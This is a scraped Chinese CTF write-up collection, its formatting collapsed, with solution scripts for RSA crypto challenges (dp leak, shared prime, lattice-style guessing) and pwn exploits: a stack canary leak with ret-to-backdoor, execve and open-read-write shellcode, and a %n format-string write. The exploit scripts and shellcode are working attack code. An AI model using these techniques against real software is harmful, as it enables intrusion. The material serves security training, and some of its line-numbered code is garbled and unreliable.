2494102727139988031657548916400076008469745351322274139719108651479694185398883900731956896064609625535589283127438178479899342631002290223761281335086590271453325110263075086863802248422343374265520039092287051974670420810260395594587214259380987308495187276102405110037698364568798469022294178145782146014876496768949227234629547115761072490459208650215233576124537759149621005091452731826139522830627358953262413872737766190736148691591455392273493333744660685456016812260177567784789706568505579320655796589399021812071850427201359345113086254185842792188109694821873608861967542521034391955635188766346448358522095384182181919121572454416214847465348256361362566514678435298592845553522433282587659801172426416706609642034717339642211417654280894950890159462635828804440976899777025050168473102365715107684396600436067391006056594244266779919508243001527693875044625987231235831989933929204915500642424704317103808385950745874843327090287006673742178580193389137707512337808409919117485720406798799553125641011372640451089845896663282887165936957056289873133466762895411684476032902068990006887183350425663108368180802497459392657668788890982438237757541704285743361668534480198281931514155933889777470075218534626274198762865005970764338886601702657222928202827690787497964864232677329294105797820334409760600739305323843208626608999128155104856870670912614117531695398766898333476774303080010211697227780036928625795136409579400929053570378365274515982948413125504474009300341414250851316021652921246258261191470292461195698250713229612394303041313776569564799724769801197317501679865347012122228211555527056879353720812275916353888916615582761695952757154221134412075102823205932950308884150988373023805958090095880726162291314683535968376355629578629232070688294172962311300021342332871193989690221140421570486753526911612358742179375594473893822922907246112505646925845519726644426849366087858581334667012569682331014586041121918212242373332106875529757752615031856738830163693909495716952252 d = 43364937265758956156273680911300489616898864746752052291350312162776515277587261760117478030997894848711863062332928599355367770340515527595727956406975492260815315498533833768722189153710484592913738532365673774052006949783671389279815139617850311090514642725422993266833831943072802672492932699094012215360254640960227975759052847451203242806549366072770629235099284854845437409705329699239996521945098027994835464446725904453652773044842784544412256242118283430388576377678521305677820630677657440308643210013580457568689468797843750521813033835004488235590736872749731499959534712906125337371416903474439687119856674163258250861941374676530169084879695020684481481410037773090335748058105789070805869999041901955824447836101464317191236662824486520610443251865074390805817717017127665798074743330797207555861776404708326789709130589836098908059835861036678714787524364757466440053920339450890171852169379258482211489419367529048929245318441840741348189118893773590728665799522362650234927535765626 """
a*b=n1
b*c=n2
c*d=n3
,已知n1
n2
n3
d
,求a
这不显而易见,但是数字比较大,手算不现实,用脚本来帮忙:
1 2 3 4 5 6 7 8 9 10 11 12 13 from Crypto.Util.number import *n1 = 66045023993762767647242315275308876286649365291217503549902618148001055600837022713282069278294139902007828665299975891709141384342029428818368233779456718169837800519061495614455266698646033095374249294950476237868464929160829338247617019650720386071747841563053142875198078814651522327972628160281265970330976279743604849662791159837738526278277804680018800310344237561891670714267422167030239697292228352005490559316629402219654671826647258405005330060768620619801431339140844543743546141947826432699292853951849820803407732079211059907138637996805917396616886186331056392904534431539573143000039333074217827378203023213727182933822404231273878515223694690030696828022257662583963453718083703096060400947526828103727712197985948128656176265398780528680051014074367363757135311498467947501765974696818796857305793400931866930599659487334282645052632999648160834373981904533240911850451900220747740086671961000393504835019410391886465691868164395211894606769208890677518534623136224769033814232296694099251235641838645747668791623742241443998344435370538812516231728525148001841752921696848750 n2 = 1320555599487714080996044771745109086409124950193806115910044002171639132721369936242832350793080200151731581915533389367530841711349085311654859210708745168348139761175994308379008233352944795195337029075338491705223417989574046182393904858738777565509853429460260485779945219957452432288882759456841973743350958897759005840184935356935516353677399298947271240304110942678580581733243590953541428260608718550254028964807862266521437217496044696887150481438415810735591397935910573863686620039825142973597345028031192292214474693621914446259072409767541707238135552166962594482265307944904262622356821924062115483845191792169134692726081339767300737406933509657057434734295214281830711402527265191878673192096981687978442654546866046508586476256515448447811724411143277304139097556106638517758052946777603373414718743201041457262387388159970341161602413204816234240553296477562124049501381372017556520920586470701549545089935276803924008842264302810625461265377705801836445624439120595410039147084242300905693410555017365335530737466743139039924035032068579167676172084945497968079618527330264059524279485179524483046111493426596846285692408550381435997945232073832763443550596008177794944202693534077109186288822812097105682483066250943025890835561307754202362984369467279547412073663826807534256586945293235617054258815517181939040026079969202048794243981043255339273692894150669176924938335078841860602598371066015697457441400163743192636313066256712591757257494154994280331839805559187408397250773686866802818270549433199589628543682696970616778551521253364165555410491946329838745400060156090812855739048860203804808159394507270828085983711687051132928366501718966622880415453783762907053842805719073490304849577857363840727974548747309667095286171395631455414832082074931682010365020038631272891592002564580710824126596067472012197426483126969375110424700166659703938297489007306732474884651764478730965436145663198752419446509365022660147218357448783598847793577903599742398436141520668329522500 n3 = 2494102727139988031657548916400076008469745351322274139719108651479694185398883900731956896064609625535589283127438178479899342631002290223761281335086590271453325110263075086863802248422343374265520039092287051974670420810260395594587214259380987308495187276102405110037698364568798469022294178145782146014876496768949227234629547115761072490459208650215233576124537759149621005091452731826139522830627358953262413872737766190736148691591455392273493333744660685456016812260177567784789706568505579320655796589399021812071850427201359345113086254185842792188109694821873608861967542521034391955635188766346448358522095384182181919121572454416214847465348256361362566514678435298592845553522433282587659801172426416706609642034717339642211417654280894950890159462635828804440976899777025050168473102365715107684396600436067391006056594244266779919508243001527693875044625987231235831989933929204915500642424704317103808385950745874843327090287006673742178580193389137707512337808409919117485720406798799553125641011372640451089845896663282887165936957056289873133466762895411684476032902068990006887183350425663108368180802497459392657668788890982438237757541704285743361668534480198281931514155933889777470075218534626274198762865005970764338886601702657222928202827690787497964864232677329294105797820334409760600739305323843208626608999128155104856870670912614117531695398766898333476774303080010211697227780036928625795136409579400929053570378365274515982948413125504474009300341414250851316021652921246258261191470292461195698250713229612394303041313776569564799724769801197317501679865347012122228211555527056879353720812275916353888916615582761695952757154221134412075102823205932950308884150988373023805958090095880726162291314683535968376355629578629232070688294172962311300021342332871193989690221140421570486753526911612358742179375594473893822922907246112505646925845519726644426849366087858581334667012569682331014586041121918212242373332106875529757752615031856738830163693909495716952252 d = 43364937265758956156273680911300489616898864746752052291350312162776515277587261760117478030997894848711863062332928599355367770340515527595727956406975492260815315498533833768722189153710484592913738532365673774052006949783671389279815139617850311090514642725422993266833831943072802672492932699094012215360254640960227975759052847451203242806549366072770629235099284854845437409705329699239996521945098027994835464446725904453652773044842784544412256242118283430388576377678521305677820630677657440308643210013580457568689468797843750521813033835004488235590736872749731499959534712906125337371416903474439687119856674163258250861941374676530169084879695020684481481410037773090335748058105789070805869999041901955824447836101464317191236662824486520610443251865074390805817717017127665798074743330797207555861776404708326789709130589836098908059835861036678714787524364757466440053920339450890171852169379258482211489419367529048929245318441840741348189118893773590728665799522362650234927535765626 c = n3//d b = n2//c a = n1//b flag = long_to_bytes(a) print (flag)
ezRSA 题目描述
出题人: BR 难度: 普通
这伞兵BR又出了什么抽象题?忍不了了!和BR爆了!!!
题解
dp泄露类的基础题目。
首先是要明白什么是dp
和,这是在运算过程中方便计算的中间量,表示:
推导一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 d = dp + k1 * (p-1) d * e = 1 + k2*(p-1)*(q-1) 把第二个式子的d代换掉: e * (dp + k1*(p-1)) = 1 + k2*(p-1)*(q-1) 两边同时对(p-1)取模,消去k e * dp % (p - 1) = 1 e * dp = 1 + k*(p - 1)
爆破出k即可解出p,进而求得d解出密文即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import gmpy2from Crypto.Util.number import long_to_bytes e = 65537 n = 3389616964927878781741310853191315956480258834417170086470849866192420692727199749045136855692986896313375718348538743048229582847210725029529834835813548058842302356162248532297392544538964480146052358895655793603326803812641085190199005669949039050588118723067377836651472284416724310288678830491750972225267426343652592291309600098944351229749957513453626264488620799659160485560680576771242990157 dp = 40008312476670176077019320150135078093576233427810327258745387563367163532724088700444338891183628836306769722954657737101506755763414537137056652811295235312680178563283946769876556761670653862586533 c = 2751792742238347444334835452460084186799453035059927577003325906095628381320715250538921636436471076761144030529733555087963190221733614651048234326074859224867616661307460181029967874116500680469659145855412390067191720522352047027739051923014235594836182714244943467983706041145043107229428460704833233559688483136497104737765912820183578092203043788325533521188107197615771966434225751684425810745 def get_p (): for i in range (1 , e): if (dp * e - 1 ) % i == 0 : if n % (((dp * e - 1 ) // i) + 1 ) == 0 : p = ((dp * e - 1 ) // i) + 1 return p print ("Can't find p" ) exit(0 ) p = get_p() q = n // p d = gmpy2.invert(e, (p-1 )*(q-1 )) m = pow (c, d, n) print (long_to_bytes(m))
share 题目描述
出题人: BR 难度: 简单
知识,与你分享~
题解
一个基础的共享素数问题,及n1和n2存在相同的最大公因数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from Crypto.Util.number import *import gmpy2 e = 65537 n1 = 15764889078520406701920836076060812292817953878765698736610314105828038106918188325080028536800338743533151467484230135911236243767134017276420560437765376692135662447069380717598088660825346837519135978716843594670867453570497314231997639209717919846384056209717841647511968810256832430682665776455975564920037522574969505503702536743211910833165065354666491070563101523475301655000946701431051680282687957615728002912182866022767994710798674094360877891595192138142726638005032412417208752775359412601523985035504001027817184158460091763674738627316845594712786784336672986113088953737331977561926180599434375606337 n2 = 19346401036563062062139543454549159705150114945241959879264773536571493620746783894677354391494522612877954114596842328432567726870205793311446829481421054930528731243333924687330931334566587856351933162850289535656464501364825930099046508911502369924917738675549416254350054528538339023126120936625464095107410157330756142083943106988057844625878857268968116935799339247484995302248522123848728632514279239675212391882461506079303159963938932119655481982477502610782757032918179210204391315194619579572325309000201631689800685605563008272939575196553459979913527058343508211662619307545414393526050493117288154807227 c = 6931222651249262472228777622009307640074062714582918308674048962518853088713850622358745320182197198806415404906439687086316725830853516042648518050737676652428054945571454743246937039491660263781649524472122622436974786785630443829663969347469259303145707487294782618546985742515535431215616608742646807804814352236438108845259526935218859281002325047889680753746312809678001458900694326148953040827039566332895725666736854393609165460145691908719891068171737548037635274545563910655712187384524733461057680848976638932473103665037071161751853170823700743282965912068476502610800421086525024541138149006382481477358 q = gmpy2.gcd(n1, n2) p1 = n1 // q p2 = n2 // q d1 = inverse(e, (q - 1 ) * (p1 - 1 )) d2 = inverse(e, (q - 1 ) * (p2 - 1 )) m = pow (c, d2, n2) m = pow (m, d1, n1) print (long_to_bytes(m))
LWE 题目描述
出题人: ckyan 难度: 普通
出完发现这个rand值影响很小,呜呜呜要被非预期了~
题解
附件给到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import socketimport signalfrom Crypto.Util.number import getPrime, bytes_to_longfrom random import randint, choicesfrom string import ascii_uppercase, digitsdef handle_client (client_socket ): with open ('flag.txt' , 'rb' ) as f: flag = f.read() signal.alarm(300 ) q = getPrime(160 ) while True : key = "ctf_" + "" .join(choices(ascii_uppercase + digits, k=15 )) x = bytes_to_long("" .join(sorted (key)).encode()) if x < q: break l = 2 T = [] U = [] for i in range (90 ): t = randint(1 , q) u = x * t - randint(1 , q >> l) T.append(t) U.append(u) client_socket.sendall(f"q = {q} \n" .encode()) client_socket.sendall(f"T = {T} \n" .encode()) client_socket.sendall(f"U = {U} \n" .encode()) client_socket.sendall(b"Enter x = " ) guess = int (client_socket.recv(1024 ).strip()) if guess == x: client_socket.sendall(flag) else : client_socket.sendall(b"Incorrect, try again.\n" ) client_socket.close() def start_server (host='0.0.0.0' , port=9999 ): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(5 ) print (f"Server started on {host} :{port} " ) while True : client_socket, addr = server_socket.accept() print (f"Accepted connection from {addr} " ) try : handle_client(client_socket) except Exception as e: print (f"Error handling client: {e} " ) continue if __name__ == "__main__" : while True : try : start_server() except KeyboardInterrupt: print ("\nServer shutting down..." ) continue
主要关注handle_client()
函数部分,首先是取了一个160位的质数,接着进行90次循环,每次循环随机生成一个t,并与x进行运算,题目告诉了我们p,t和u,需要我们求到x。
对于此题,简单的解法是:
x * t
的数量级是远远大于randint(1, q >> l)
,对于u
来说,randint(1, q >> l)
的影响可以忽略,可以近似认为u = x * t
,因此x近似等于u//t+1
,本题需要使用nc命令连接,以下给出使用了pwntools的python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *import jsonfrom collections import Counterconn = remote("47.121.201.96" ,60480 ) q = str (conn.recvline())[6 :-3 ] T = json.loads(str (conn.recvline())[6 :-3 ]) U = json.loads(str (conn.recvline())[6 :-3 ]) X = [] for i in range (90 ): X.append(U[i]//T[i]+1 ) x = Counter(X).most_common(1 )[0 ][0 ] print (f"x = {x} " )conn.recvuntil(b'Enter x =' ) conn.sendline(str (x)) res = str (conn.recvline())[2 :-3 ] print (res)
复杂一点的解法可以参照以下思路:
Pwn Baby Canary 题目描述
出题人: D3f4ult 难度: 普通
栈溢出?你还溢不溢了?😡
题解
查看保护:
反编译发现是两次printf输出,且有栈溢出:
有canary保护,但canary最低位固定为\x00截断字符输出,且该位不进行检查,溢出一字节,使得printf打印时将canary也打印出来,即可获取canary,第二次溢出时使用canary过检查进后门函数即可,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *elf = ELF("./pwn" ) context.binary = elf io = process('./pwn' ) def debug (): gdb.attach(io) pause() backdoor = 0x4007EE ret = 0x400825 pay1 = b'a' *24 pay2 = b'a' *24 io.sendlineafter("What's your name?" ,pay1) io.recv() canary = io.recv()[32 :39 ].rjust(8 ,b'\x00' ) canary = u64(canary) pay2+=p64(canary) pay2+=b'a' *8 +p64(ret)+p64(backdoor) io.sendline(pay2) io.interactive()
ez_shellcode 题目描述
出题人: keup 难度: 简单
ez?ez!
题解
试运行题目,很直接,让输入shellcode,shellcode即用来达到目的的一段可执行机器码,或者说一段汇编语句,
反编译发现shellcode长度限制为256,非常充足,使用pwntools生成一段即可
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(log_level='debug' ,os='linux' ,arch='amd64' ) io = process("./ez_shellcode" ) pay = asm(shellcraft.amd64.sh()) io.sendline(pay) io.interactive()
mid_shellcode 题目描述
出题人: keup 难度: 普通
mid?mid!
题解
与上题相比较,发现题目大致相同,但使用同样的shellcode执行却不成功,猜测有上沙箱的可能,使用seccomp-tools dump出沙箱规则,发现禁止执行execve系统调用,且checksec发现题目未开启PIE,遂使用orw的shellcode获取flag,将flag读入bss段并读出打印,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context.log_level = 'debug' context.arch = 'amd64' io = process('./mid_shellcode' ) def debug (): gdb.attach(io) pause() pay = asm(shellcraft.openat(0 ,"/flag" )) pay+= asm(shellcraft.pread(3 ,0x404a00 ,0x30 )) pay+= asm(shellcraft.write(1 ,0x404a00 ,0x30 )) io.sendline(pay) io.interactive()
题目描述
出题人: keup 难度: 简单
”格格格格格格格格格格格格格格“———发出一种奇怪的笑声
题解
试运行发现是格式化字符串的题目,
拖入ida反编译,发现仅需v4[0]不等于0即
可取得shell,遂想到格式化字符串漏洞中可使用%n来赋值给某块内存区域,具体赋值的位置,可使用数字+$的形式放在占位符中间指定。脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(log_level='debug' ,os='linux' ,arch='amd64' ) io = process("./format_string" ) pay = "aa%7$n" io.sendline(pay) io.interactive()